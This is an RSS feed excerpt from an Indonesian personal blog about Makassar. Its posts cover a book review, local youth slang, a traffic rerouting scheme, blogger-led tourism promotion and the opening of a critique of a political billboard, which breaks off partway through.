<p>Kedalaman cerita, sudut pandang yang berbeda dan cara mengemas yang apik menjadikan Makassar Nol Kilometer sebagai sebuah buku yang harus dibaca oleh mereka yang ingin tahu lebih dalam tentang Makassar, atau mereka yang ingin mendengar kisah nyata perjuangan masyarakat pinggiran sebuah kota yang terus berkembang dan memoles wajahnya hingga kelihatan menor.</p>
<p>Makassar Nol Kilometer dibuka oleh tulisan tentang supporter setia pasukan Ramang ( julukan PSM ) dan ditutup dengan cerita tentang cafe di sekitar pantai Losari yang makin hari makin terjepit hingga sekarang nyaris menghilang. Mari melihat sisi terdalam kota Makassar lewat buku Makassar Nol Kilometer.</p>
<p>&nbsp;</p>
<p><strong>[dG]</strong></p>
<h4>Incoming search terms:</h4><ul><li><a href="http://daenggassing.com/2012/01/makassar-nol-kilometer-dari-supporter-psm-hingga-cafe-di-losari/" title="cafe di makassar">cafe di makassar</a> (1)</li><li><a href="http://daenggassing.com/2012/01/makassar-nol-kilometer-dari-supporter-psm-hingga-cafe-di-losari/" title="hotel melati dilosari makasar">hotel melati dilosari makasar</a> (1)</li><li><a href="http://daenggassing.com/2012/01/makassar-nol-kilometer-dari-supporter-psm-hingga-cafe-di-losari/" title="ininnawa cafe makassar">ininnawa cafe makassar</a> (1)</li><li><a href="http://daenggassing.com/2012/01/makassar-nol-kilometer-dari-supporter-psm-hingga-cafe-di-losari/" title="kue pancong makasar">kue pancong makasar</a> (1)</li></ul><div class="shr-publisher-2294"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fdaenggassing.com%2F2012%2F01%2Fmakassar-nol-kilometer-dari-supporter-psm-hingga-cafe-di-losari%2F" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://daenggassing.com/2012/01/makassar-nol-kilometer-dari-supporter-psm-hingga-cafe-di-losari/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Bahasa Gaul Makassar ; Dari Pace Sampai Blender</title>
		<link>http://daenggassing.com/2012/01/bahasa-gaul-makassar-dari-pace-sampai-blender/</link>
		<comments>http://daenggassing.com/2012/01/bahasa-gaul-makassar-dari-pace-sampai-blender/#comments</comments>
		<pubDate>Wed, 11 Jan 2012 16:00:12 +0000</pubDate>
		<dc:creator>iPul dg.Gassing</dc:creator>
				<category><![CDATA[Kamis]]></category>
		<category><![CDATA[Keliling Makassar]]></category>
		<category><![CDATA[Makassar]]></category>
		<category><![CDATA[Sekitarku]]></category>
		<category><![CDATA[Bahasa Gaul]]></category>
		<category><![CDATA[makassar]]></category>

		<guid isPermaLink="false">http://daenggassing.com/?p=2263</guid>
		<description><![CDATA[Tiap daerah biasanya punya bahasa gaul sendiri. Ada yang lahir karena pengaruh budaya lokal, ada juga yang lahir sebagai resapan budaya kontemporer dari kota besar. Berikut adalah sebagian kecil bahasa gaul anak Makassar yang entah masih sering terpakai saat ini atau sudah mulai punah. Tiap daerah di Indonesia sepertinya punya bahasa gaul. Bahasa yang berkembang [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div id="attachment_2264" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2012/01/IMG_1232.jpg"><img class="size-full wp-image-2264" title="_IMG_1232" src="http://daenggassing.com/wp-content/uploads/2012/01/IMG_1232.jpg" alt="Pantai Losari" width="600" height="400" /></a><p class="wp-caption-text">Pantai Losari</p></div>
<blockquote>
<h3>Tiap daerah biasanya punya bahasa gaul sendiri. Ada yang lahir karena pengaruh budaya lokal, ada juga yang lahir sebagai resapan budaya kontemporer dari kota besar. Berikut adalah sebagian kecil bahasa gaul anak Makassar yang entah masih sering terpakai saat ini atau sudah mulai punah.</h3>
</blockquote>
<p>Tiap daerah di Indonesia sepertinya punya bahasa gaul. Bahasa yang berkembang dari bahasa daerah ataupun serapan dari luar. Belakangan ini fenomena bahasa gaul sendiri semakin marak di Indonesia, penggunanya kebanyakan adalah anak-anak muda yang masih ABG atau komunitas-komunitas tertentu.</p>
<p>Menurut laman : <a href="http://bahasakita.com/2009/06/13/bahasa-gaul-dan-solidaritas-kaum-muda/">BahasaKita.com</a> :</p>
<blockquote><p>bahasa gaul sudah muncul sejak awal 70-an. Awalnya digunakan para <em>bromocorah</em> agar orang diluar komunitas mereka tidak mengerti, jadi mereka tidak perlu sembunyi-sembunyi jika membicarakan hal yang negatif. Lama kelamaan kebiasaan itu mulai ditiru oleh anak-anak remaja usia belasan tahun, bahkan menjadi semakin bervariatif kosakatanya misalnya kata <strong>saya</strong> yang dalam dialek jakarta atau betawi menjadi <strong>gue</strong> berubah menjadi <strong>ogut</strong> atau <strong>gout</strong>.</p></blockquote>
<p>Makassar juga punya bahasa gaul sendiri. Beberapa di antaranya berasal dari bahasa daerah yang berkembang menjadi bahasa sehari-hari lintas suku di kota Makassar dan beberapa di antaranya adalah serapan dari bahasa luar, termasuk bahasa Indonesia.</p>
<p>Berikut adalah beberapa contoh bahasa gaul anak Makassar.</p>
<p><strong>Pace, Mace dan Kace.</strong> Ketiga kata ini adalah bahasa gaul yang menggantikan kata Bapak, Ibu dan Kakak. Pace adalah singkatan dari : Papa Cerewet, Mace singkatan dari Mama Cerewet dan Kace adalah singkatan dari Kakak Cerewet. Entah kapan mulainya, yang jelas saya sudah mengenal bahasa ini sejak masa SMP sekitar awal tahun 90an dan sampai sekarang masih dipakai.</p>
<p><strong>Toloaaaa ( dibaca dengan A pajang di akhir kata </strong>). Istilah ini kurang lebih berarti : memangnya saya tolol ? Biasanya digunakan dalam percakapan ketika seseorang menyarankan sebuah hal bodoh kepada kita. Saya pertama mendengarnya sekitar pertengahan tahun 90an dan sekarang sudah sangat jarang digunakan lagi.</p>
<p><strong>Ces, Cika, Parner, Dekkeng .</strong> Tiga kata ini adalah kata sapaan. Cess diambil dari kata cs, umum dipakai dalam pergaulan anak muda di Indonesia. Cika&#8217; asal katanya dari Cikali atau sepupu dalam bahasa Makassar. Parner aslinya adalah partner, sedang Dekkeng berarti beking dalam bahasa Makassar. Bahasa ini biasanya digunakan oleh warga urban di pinggiran kota Makassar. Sekarang saya sudah jarang mendengarnya.</p>
<p><strong>Talekang.</strong> Kata ini mungkin hampir sama artinya dengan : ingin dipuji. Biasanya disematkan pada orang yang banyak gaya dan kelihatan memang ingin dipuji. Sepertinya kata ini adalah serapan dari bahasa Makassar, tale-telakang. Sampai sekarang masih banyak digunakan.</p>
<p><strong>Tantara ko ?</strong> . Kalimat tanya yang artinya kurang lebih : <strong>memangnya kamu tentara ?</strong> Digunakan ketika seseorang berlagak agak berlebihan atau sok jagoan sehingga teman lainnya jadi sedikit kesal. Populer di tahun 90an, dan sekarang sepertinya sudah jarang digunakan.</p>
<p><strong>Parecu.</strong> Arti harfiahnya kira-kira membuat ricuh. Disematkan kepada orang yang dianggap membuat kericuhan atau kegaduhan atau mungkin curang. Masih sering digunakan jaman sekarang dan asalnya memang dari bahasa Makassar.</p>
<p><strong>Kabbulampe, Anassambala, Anassongkolo</strong>. Tiga kata itu adalah tiga kata umpatan halus dalam bahasa gaul anak Makassar. Kadarnya mungkin sama dengan kata jancuk dalam bahasa Jawa. Saya belum pernah menemukan arti persis dari kalimat-kalimat itu, tapi biasanya memang dipakai untuk mengumpat meski belakangan artinya sudah tidak sekasar dulu. Varian lainnya ada juga <strong>anassikopang </strong>atau bermakna : anak sekop. Entah apa artinya.</p>
<p><strong>Piti-piti.</strong> Bermakna ngasal atau asal ngomong. Ini berasal dari bahasa Makassar, biasanya disandingkan dengan kata kerja semisal piti kana-kanai atau asal ngomong. Sampai sekarang masih sering digunakan.</p>
<p><strong>Sibi&#8217;, Limbi&#8217;, Sisa&#8217;, Limrats</strong>. Kata-kata ini menggambarkan besaran mata uang dari bahasa Makassar. Sibi berarti sibilanggang atau seratus. Limbi berarti limam bilanggang atau lima ratus, sisa&#8217; berarti sisabbu atau seribu dan limrats adalah varian singkatan dari lima ratus. Masih sering digunakan, khususnya di daerah urban pinggiran kota.</p>
<p><strong>Kompor.</strong> Bukan kompor buat masak pastinya, tapi singkatan dari Kombinasi Pongoro atau kombinasi gila-gilaan. Biasanya digunakan untuk menggambarkan sebuah kombinasi pakaian yang warnanya tabrakan dan tidak <em>matching</em>. Sudah lama saya tidak mendengar istilah ini.</p>
<p><strong>Pabote</strong>&#8216;. Artinya tukang bohong, kalau berbohong jadinya cukup dengan bote&#8217;. Masih sering digunakan jaman sekarang.</p>
<p><strong>Nagigi&#8217; makie dan Nablender makie</strong>. Dua kalimat yang artinya kurang lebih : kena gigit deh atau diblender deh. Entah asal katanya dari mana, tapi saat ini dua kalimat di atas sudah jarang digunakan. Sudah masuk kategori bahasa gaul yang jadul.</p>
<p>Apa yang saya tulis di atas adalah sebagian kecil dari bahasa gaul yang beredar di kalangan remaja Makassar. Masih banyak lagi bahasa lainnya meski kalau saya amati jaman sekarang anak-anak muda Makassar sudah mulai lebih sering menggunakan bahasa gaul dari ibukota. Pengaruh ibukota sudah semakin deras sehingga kadang anak-anak itu sudah malu menggunakan bahasa gaul yang lebih berciri lokal.</p>
<p>Di laman panyingkul.com pernah dimuat sebuah artikel yang merangkum lebih banyak bahasa gaul Makassar. Silakan dibaca <a href="http://panyingkul.com/view.php?id=418&amp;jenis=katakotakita">di sini</a>.</p>
<h4>Incoming search terms:</h4><ul><li><a href="http://daenggassing.com/2012/01/bahasa-gaul-makassar-dari-pace-sampai-blender/" title="gambar gaul">gambar gaul</a> (12)</li><li><a href="http://daenggassing.com/2012/01/bahasa-gaul-makassar-dari-pace-sampai-blender/" title="bahasa gaul 2012">bahasa gaul 2012</a> (8)</li><li><a href="http://daenggassing.com/2012/01/bahasa-gaul-makassar-dari-pace-sampai-blender/" title="bahasa kota makassar">bahasa kota makassar</a> (4)</li><li><a href="http://daenggassing.com/2012/01/bahasa-gaul-makassar-dari-pace-sampai-blender/" title="bahasa gaul makassar">bahasa gaul makassar</a> (4)</li><li><a href="http://daenggassing.com/2012/01/bahasa-gaul-makassar-dari-pace-sampai-blender/" title="gaul">gaul</a> (4)</li></ul><div class="shr-publisher-2263"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fdaenggassing.com%2F2012%2F01%2Fbahasa-gaul-makassar-dari-pace-sampai-blender%2F" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://daenggassing.com/2012/01/bahasa-gaul-makassar-dari-pace-sampai-blender/feed/</wfw:commentRss>
		<slash:comments>24</slash:comments>
		</item>
		<item>
		<title>Rekayasa Lalu Lintas Yang Bikin Nyaman</title>
		<link>http://daenggassing.com/2012/01/rekayasa-lalu-lintas-yang-bikin-nyaman/</link>
		<comments>http://daenggassing.com/2012/01/rekayasa-lalu-lintas-yang-bikin-nyaman/#comments</comments>
		<pubDate>Thu, 05 Jan 2012 02:07:08 +0000</pubDate>
		<dc:creator>iPul dg.Gassing</dc:creator>
				<category><![CDATA[Sekitarku]]></category>
		<category><![CDATA[Lalu Lintas]]></category>
		<category><![CDATA[makassar]]></category>

		<guid isPermaLink="false">http://daenggassing.com/?p=2220</guid>
		<description><![CDATA[Makassar dan macet mulai akrab. Seperti sahabat yang makin sering bercengkerama. Semakin hari, kota ini makin akrab bercumbu dengan macet. Dan adalah rekayasa lalu lintas yang kemudian hadir di antara mereka. Ada yang berbeda dengan jalur yang biasa saya jalani hampir setiap hari. Dari arah Timur menuju ke Barat biasanya saya akan tertahan agak lama [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div id="attachment_2221" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2012/01/Macet-Makassar.jpg"><img class="size-full wp-image-2221" title="Macet Makassar" src="http://daenggassing.com/wp-content/uploads/2012/01/Macet-Makassar.jpg" alt="" width="600" height="400" /></a><p class="wp-caption-text">Macet Kota Makassar</p></div>
<blockquote>
<h3>Makassar dan macet mulai akrab. Seperti sahabat yang makin sering bercengkerama. Semakin hari, kota ini makin akrab bercumbu dengan macet. Dan adalah rekayasa lalu lintas yang kemudian hadir di antara mereka.</h3>
</blockquote>
<p>Ada yang berbeda dengan jalur yang biasa saya jalani hampir setiap hari. Dari arah Timur menuju ke Barat biasanya saya akan tertahan agak lama di sekitar perempatan Hertasning &#8211; Toddopuli &#8211; Tamalate. Kendaraan akan membentuk barisan panjang, serupa antrian zakat menjelang Idul Fitri. Waktunyapun tidak singkat, kadang sampai bermenit-menit dan membuat pegal.</p>
<p>Selepas tahun baru kemarin ada lewat jalan itu dan tiba-tiba sadar kalau ada yang berbeda. Kebetulan saya juga lewat jalan itu tepat di jam pulang kantor, jam yang biasanya menjadi jam paling sibuk dan padat. Tapi hari itu berbeda.</p>
<p>Dari jauh terlihat jalanan padat tapi tidak merayap. Ketika mendekati perempatan, tidak ada yang tertahan. Saya melirik lampu lalu lintas, semua mati. Tanpa sengaja pandangan saya jatuh pada bagian tengah perempatan tersebut. Ada barikade di sana, beberapa palang besar berwarna kuning hitam dan beberapa buah kasting yang diletakkan untuk menutup jalan.</p>
<p>Ternyata itu penyebabnya. Jadi semua kemudian diubah. Lampu lalu lintas dimatikan, perempatan ditutup. Jadi semua kendaraan yang dari arah Barat dan hendak ke Selatan harus terus dulu melewati perempatan dan memutar agak jauh. Kendaraan dari arah Utara yang hendak ke Selatan juga begitu, harus belok kiri dulu ke arah Timur dan memutar agak jauh.</p>
<div id="attachment_2222" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2012/01/Ilistrasi-rekayasa-lalin.jpg"><img class="size-full wp-image-2222" title="Ilistrasi rekayasa lalin" src="http://daenggassing.com/wp-content/uploads/2012/01/Ilistrasi-rekayasa-lalin.jpg" alt="" width="600" height="402" /></a><p class="wp-caption-text">Rekayasa Lalu Lintas di Jl. Hertasning</p></div>
<p>Sepintas memang agak merepotkan, jarak jadi bertambah karena harus memutar dulu. Tapi, khasiatnya terasa, persis seperti minum obat yang manjur. Jalanan menjadi lancar, padat tapi tidak merayap. Area Tamalate, Hertasning, Toddopuli yang biasanya jadi sumber stress di waktu-waktu tertentu kini berubah jadi lebih ramah.</p>
<p>Buat saya ini langkah brilian yang dilakukan polantas Makassar. Mereka berhasil mencari jalan keluar yang menyenangkan untuk mengurai setidaknya satu titik kemacetan.</p>
<p>Dari beberapa teman saya juga mendapat kabar kalau Polantas Makassar berhasil melakukan rekayasa lalu lintas yang positif di malam pergantian tahun. Mereka mengatur lalu lintas sedemikian rupa, membuat barikade di beberapa titik dan hasilnya, jalanan Makassar di tahun baru jadi lebih nyaman. Padat tapi tidak sampai macet berjam-jam.</p>
<p>Buat saya apa yang dilakukan oleh Polantas Makassar itu sebuah langkah kecil yang cukup memuaskan. Makin hari macet di kota ini memang makin mengkuatirkan dan memang dibutuhkan pihak berkuasa untuk melakukan sesuatu, setidaknya mengurangi titik kemacetan.? Polantas memang tidak bisa melakukannya sendirian, karena ada juga pemerintah kota yang punya peran lebih besar. Sekarang tinggal bagaimana mereka bisa bekerjasama membuat jalanan kota ini jadi lebih nyaman.</p>
<p>Sebagai warga kami hanya bisa menantikan gebrakan lainnya dari pemerintah dan polantas. Semoga Makassar tidak sampai serumit Jakarta dalam mengurai kemacetan.</p>
<h4>Incoming search terms:</h4><ul><li><a href="http://daenggassing.com/2012/01/rekayasa-lalu-lintas-yang-bikin-nyaman/" title="gambar rekayasa">gambar rekayasa</a> (3)</li><li><a href="http://daenggassing.com/2012/01/rekayasa-lalu-lintas-yang-bikin-nyaman/" title="rekayasa lalu lintas">rekayasa lalu lintas</a> (2)</li><li><a href="http://daenggassing.com/2012/01/rekayasa-lalu-lintas-yang-bikin-nyaman/" title="mengurai kemacetan di makassar">mengurai kemacetan di makassar</a> (2)</li><li><a href="http://daenggassing.com/2012/01/rekayasa-lalu-lintas-yang-bikin-nyaman/" title="mengurai kemacetan di makasar">mengurai kemacetan di makasar</a> (2)</li><li><a href="http://daenggassing.com/2012/01/rekayasa-lalu-lintas-yang-bikin-nyaman/" title="counter lampu lalu lintas">counter lampu lalu lintas</a> (1)</li></ul><div class="shr-publisher-2220"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fdaenggassing.com%2F2012%2F01%2Frekayasa-lalu-lintas-yang-bikin-nyaman%2F" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://daenggassing.com/2012/01/rekayasa-lalu-lintas-yang-bikin-nyaman/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Corong Promosi Wisata</title>
		<link>http://daenggassing.com/2012/01/corong-promosi-wisata/</link>
		<comments>http://daenggassing.com/2012/01/corong-promosi-wisata/#comments</comments>
		<pubDate>Wed, 04 Jan 2012 05:13:49 +0000</pubDate>
		<dc:creator>iPul dg.Gassing</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[blogging]]></category>
		<category><![CDATA[makassar]]></category>
		<category><![CDATA[SulSel]]></category>
		<category><![CDATA[Taka Bonerate]]></category>
		<category><![CDATA[Wisata]]></category>

		<guid isPermaLink="false">http://daenggassing.com/?p=2216</guid>
		<description><![CDATA[Dua minggu yang lalu tiba-tiba sebuah pertanyaan muncul di kepala saya. Pertanyaan tentang kenapa pemerintah daerah masih kurang yang berpikir untuk menggaet blogger sebagai salah satu corong promosi wisata daerah ? Pertanyaan itu melintas begitu saja sebagai buah pemikiran dari diskusi kelautan yang digelar ISLA Unhas dua minggu yang lalu. Di sesi terakhir banyak mengangkat [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div id="attachment_2217" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2012/01/IMG_4774.jpg"><img class="size-full wp-image-2217" title="IMG_4774" src="http://daenggassing.com/wp-content/uploads/2012/01/IMG_4774.jpg" alt="" width="600" height="399" /></a><p class="wp-caption-text">Blogger Makassar di Taka Bonerate</p></div>
<blockquote>
<h3>Dua minggu yang lalu tiba-tiba sebuah pertanyaan muncul di kepala saya. Pertanyaan tentang kenapa pemerintah daerah masih kurang yang berpikir untuk menggaet blogger sebagai salah satu corong promosi wisata daerah ?</h3>
</blockquote>
<p>Pertanyaan itu melintas begitu saja sebagai buah pemikiran dari <a href="../../../../../2011/12/wisata-bahari-sulsel-raksasa-yang-tertidur/">diskusi kelautan</a> yang digelar ISLA Unhas dua minggu yang lalu. Di sesi terakhir banyak mengangkat kegalauan peserta dan pembicara soal potensi wisata SulSel yang bukan saja belum digarap serius tapi juga belum dipromosikan dengan baik.</p>
<p>Dalam kalender wisata SulSel ada dua kegiatan besar yang selama tiga tahun belakangan ini berlangsung secara beruntun. Ada <strong><a href="../../../../../2011/11/taka-bonerate-bag-3-potensi-yang-terpinggirkan/">Taka Bonerate Island Expedition</a></strong> yang mengangkat potensi wisata laut Kabupaten Selayar dan ada <strong>Lovely December</strong> yang mengangkat potensi wisata eksotis Tana Toraja. Dua kegiatan ini sudah rutin digelar dalam 3 tahun terakhir.</p>
<p>Sayangnya, meski sudah masuk tahun ketiga tapi tetap saja kedua acara tersebut belum terdengar menggaung jauh ke tingkat nasional dan bisa dipastikan efeknya pada pariwisata SulSel masih belum terasa. Saat berkunjung ke Taka Bonerate November silam, jelas sekali terasa kalau acara ini sama sekali tidak menggaung. Tidak ada informasi akurat tentang acara ini, tidak ada promosi yang menggebu yang kira-kira bisa memancing rasa ingin tahu orang untuk datang. Mencari informasi di internetpun rasanya sia-sia. Benar-benar tidak mencerminkan sebuah promosi wisata yang digarap serius.</p>
<p>Lovely December setali tiga uang. Sepi dari promosi dan terkesan dibiarkan begitu saja. Padahal kedua agenda promosi wisata itu juga menyediakan dana miliaran rupiah sebagai bahan bakarnya. Jumlah yang rasanya tidak sebanding dengan penyelenggaraan acara.</p>
<p>Ketika berada di Taka Bonerate, terlihat jelas kalau acara TIE lebih kepada acara seremonial tanpa visi promosi wisata yang jelas. Undangan yang datang kebanyakan adalah para pejabat beserta jajarannya, mereka yang mungkin memang datang sekadar sebagai tamu, bukan sebagai corong untuk mempromosikan wisata daerah tersebut dengan lebih luas.</p>
<p>Dari situ saya kemudian berpikir, kenapa mereka tidak mengajak para blogger atau penggiat social media untuk menjadi bagian dari promosi wisata ya ?</p>
<p>Blogger dan penggiat social media adalah pilihan paling tepat untuk diminta ikut membantu promosi wisata daerah asalnya. Mereka pasti sudah punya jaringan sendiri dan sudah eksis di dunia maya. Melibatkan mereka adalah sebuah keniscayaan di jaman di mana internet dan segala tetek-bengeknya sudah begitu jauh mempengaruhi kehidupan masyarakat. Para blogger dan penggiat social media itu bisa jadi alat bantu promosi yang tepat, cepat dan tentu saja murah.</p>
<p>Kenapa murah ? Bayangkan saja berapa banyak biaya yang ditekan bila blogger dan penggiat social media dilibatkan dalam sebuah agenda promosi wisata. Biayanya tentu tidak sebesar bila mengundang pejabat dan jajarannya yang tentunya membutuhkan pelayanan kelas satu. Blogger dan penggiat social media pada umumnya adalah orang-orang yang santai dan tidak manja. Mereka pasti akan menerima layanan apa saja yang diberikan, yang penting bisa diajak liburan gratis meski memang ada beberapa yang sudah berlabel seleb yang mungkin menuntut pelayanan lebih.</p>
<p>Undanglah mereka, libatkan mereka dan mintalah mereka mengabarkan kepada dunia tentang potensi wisata di daerah asal mereka. Meski tidak bisa memetik hasilnya secara instant tapi saya yakin <em>impact</em>-nya akan terasa. Minimal potensi wisata daerah akan lebih terekspos di dunia maya dan sisi baik lainnya adalah berita di dunia maya lebih gampang diakses dan terarsip dalam waktu lama.</p>
<p>Masalah mungkin akan timbul bila pihak pengundang menaruh ekspektasi terlewat besar yang hanya berorientasi pada promosi dan menutup diri pada kritikan. Blogger dan penggiat social media yang diundangnya diberi batasan dalam menuliskan catatan perjalanannya. Tidak boleh menuliskan hal-hal yang kurang apalagi yang buruk dari acara tersebut.</p>
<p>Ini tentu bertentangan dengan spirit kebebasan berekspresi yang dianut para blogger dan penggiat social media.</p>
<p>Jadi intinya memang ada pada niat pemerintah daerah. Bila memang mereka mau dan punya niat tulus untuk mempromosikan wisata daerah mereka maka tidak ada alasan untuk tidak melibatkan blogger atau penggiat social media dalam rangkaian acara promosi wisata. Tapi, karena niatnya untuk promosi wisata, mereka juga tidak boleh menutup mata atas kekurangan dan kritikan yang masuk. Toh, kalau semua disikapi dengan wajar maka daerah juga yang akan kena imbas positifnya.</p>
<p>Mudah-mudahan di 2012 ini pemerintah daerah Sulawesi Selatan makin terbuka matanya untuk memanfaatkan kemajuan teknologi serta mereka yang terlibat di dalamnya. Kami siap untuk liburan gratis lagi.</p>
<h4>Incoming search terms:</h4><ul><li><a href="http://daenggassing.com/2012/01/corong-promosi-wisata/" title="promosi wisata">promosi wisata</a> (2)</li><li><a href="http://daenggassing.com/2012/01/corong-promosi-wisata/" title="media informasi promosi wisata">media informasi promosi wisata</a> (1)</li></ul><div class="shr-publisher-2216"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fdaenggassing.com%2F2012%2F01%2Fcorong-promosi-wisata%2F" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://daenggassing.com/2012/01/corong-promosi-wisata/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Menebar Paku Di Jalanan Makassar</title>
		<link>http://daenggassing.com/2011/12/menebar-paku-di-jalanan-makassar/</link>
		<comments>http://daenggassing.com/2011/12/menebar-paku-di-jalanan-makassar/#comments</comments>
		<pubDate>Thu, 29 Dec 2011 05:31:11 +0000</pubDate>
		<dc:creator>iPul dg.Gassing</dc:creator>
				<category><![CDATA[Jalan-Jalan]]></category>
		<category><![CDATA[Keliling Makassar]]></category>
		<category><![CDATA[Baliho]]></category>
		<category><![CDATA[makassar]]></category>
		<category><![CDATA[Pakui]]></category>
		<category><![CDATA[pilkada]]></category>

		<guid isPermaLink="false">http://daenggassing.com/?p=2193</guid>
		<description><![CDATA[Makassar termasuk sial, kotanya dianggap sebagai galeri memajang wajah para calon pemimpin bahkan jauh sebelum masa pilkada. Sayangnya, tidak semua pajangan wajah itu punya elemen visual menarik. Ada yang bahkan sangat norak. Suatu hari kami kedatangan tamu sahabat blogger dari Kalimantan. Ketika mendaratkan kakinya di kota Makassar dia bercerita soal keheranannya melihat kota ini disesaki [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div id="attachment_2194" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/12/Pakui1.jpg"><img class="size-full wp-image-2194" title="Pakui1" src="http://daenggassing.com/wp-content/uploads/2011/12/Pakui1.jpg" alt="" width="600" height="400" /></a><p class="wp-caption-text">Pakui yang fenomenal itu</p></div>
<blockquote>
<h3>Makassar termasuk sial, kotanya dianggap sebagai galeri memajang wajah para calon pemimpin bahkan jauh sebelum masa pilkada. Sayangnya, tidak semua pajangan wajah itu punya elemen visual menarik. Ada yang bahkan sangat norak.</h3>
</blockquote>
<p>Suatu hari kami kedatangan tamu sahabat blogger dari Kalimantan. Ketika mendaratkan kakinya di kota Makassar dia bercerita soal keheranannya melihat kota ini disesaki oleh baliho penuh wajah menebarkan senyum. Menjelang pilkadakah ? tanyanya. Ketika kami jawab tidak, dia tentu makin heran. Belum menjelang pilkada saja kota ini sudah penuh dengan baliho, bagaimana kalau menjelang pilkada ya ? Mungkin itu yang ada dalam pikirannya.</p>
<p>Dengan berat hati saya memang mau bilang kalau kota Makassar sekarang ini terasa sangat sesak oleh ragam baliho penuh wajah-wajah sok kenal dan sok ramah. Mereka adalah orang-orang yang mengintip peluang untuk maju menjadi pemimpin. Tahun 2013 Sulawesi Selatan akan menggelar pilkada gubernur, setelah itu akan digelar pilkada walikota untuk kota Makassar. Masih setahun lebih, tapi keramaiannya sudah mulai dari sekarang.</p>
<p>Sayangnya, tidak semua pameran wajah itu enak dipandang. Beberapa waktu belakangan ini ada sebuah baliho yang mengundang perhatian dari banyak warga Makassar. Salah satu alasan kenapa menarik perhatian adalah karena jargon dan desainnya. Jargonnya terdengar aneh dan desainnya terkesan norak. Baliho itu disebut orang baliho <strong>PAKUI </strong>merujuk kepada jargon utama yang diusungnya.</p>
<div id="attachment_2195" class="wp-caption alignright" style="width: 210px"><a href="http://daenggassing.com/wp-content/uploads/2011/12/pakui2.jpg"><img class="size-medium wp-image-2195" title="pakui2" src="http://daenggassing.com/wp-content/uploads/2011/12/pakui2-200x300.jpg" alt="" width="200" height="300" /></a><p class="wp-caption-text">Desainnya yang aneh</p></div>
<p>Pakui, dalam bahasa Indonesia logat Makassar berarti memaku. Dalam baliho itu, PAKUI adalah akronim dari 5 kata yang anehnya merupakan kata gabungan dari bahasa Inggris dan Indonesia. <strong>Prayer, Attitude, Komitmen, Ulet dan Inspirasi</strong>. Bagaimana ? Anda sudah menemukan kelucuan ?</p>
<p>Baliho ini dibuat oleh pendukung <strong>Bahar Ngitung</strong>, seorang anggota DPD RI utusan dari Sulawesi Selatan. Tujuannya selain memperkenalkan diri adalah untuk memberikan dukungan kepada Syahrul Yasin Limpo, gubernur <em>incumbent</em> yang sebentar lagi akan maju ke pertarungan SulSel1 tahun 2013 nanti.</p>
<p>Salah satu ciri khas dari Bahar Ngitung ini adalah akronim yang digunakannya yaitu ; <strong>OBAMA</strong> singkatan dari <strong>Om Bahar Mantap</strong>. Saya tahu anda mulai geli, tapi tahan dulu karena kegelian anda mungkin masih akan berlanjut. Obama yang satu ini memang memanfaatkan momen pemilihan presiden AS waktu itu. Dengan akronim Obama yang dipaksakan dia juga mengusung jargon HOPE, persis seperti Obama yang asli. Bahkan waktu itu beberapa materi kampanyenya juga menjiplak materi kampanye Obama.</p>
<p>Tapi lupakan soal itu, kita kembali ke PAKUI yang fenomenal ini. ?Coba anda lihat desain keseluruhannya. Sebagai orang yang berkecimpung di dunia desain saya langsung bisa merasa kalau baliho ini membingungkan. Tidak ada satu gambar atau elemen yang menjadi point of interest (POI), semua terkesan berlomba menjadi pusat perhatian.</p>
<div id="attachment_2196" class="wp-caption alignright" style="width: 210px"><a href="http://daenggassing.com/wp-content/uploads/2011/12/pakui4.jpg"><img class="size-medium wp-image-2196" title="pakui4" src="http://daenggassing.com/wp-content/uploads/2011/12/pakui4-200x300.jpg" alt="" width="200" height="300" /></a><p class="wp-caption-text">Bagian Atas PAKUI</p></div>
<p>Baliho ini dibuka dengan foto Syahrul Yasin Limpo, gubernur incumbent yang sedang meretas jalan untuk kembali menjadi gubernur di pilkada nanti. Foto SYL di sebelah kiri dan di sebelah kanan tulisan pujian berbunyi : <strong>Pemimpin yang berhasil membawa Sul-Sel terbaik di Indonesia</strong>. Tolong jangan tanya saya terbaik dari segi apa karena saya sendiri tidak tahu dan belum pernah menemukan fakta soal itu.</p>
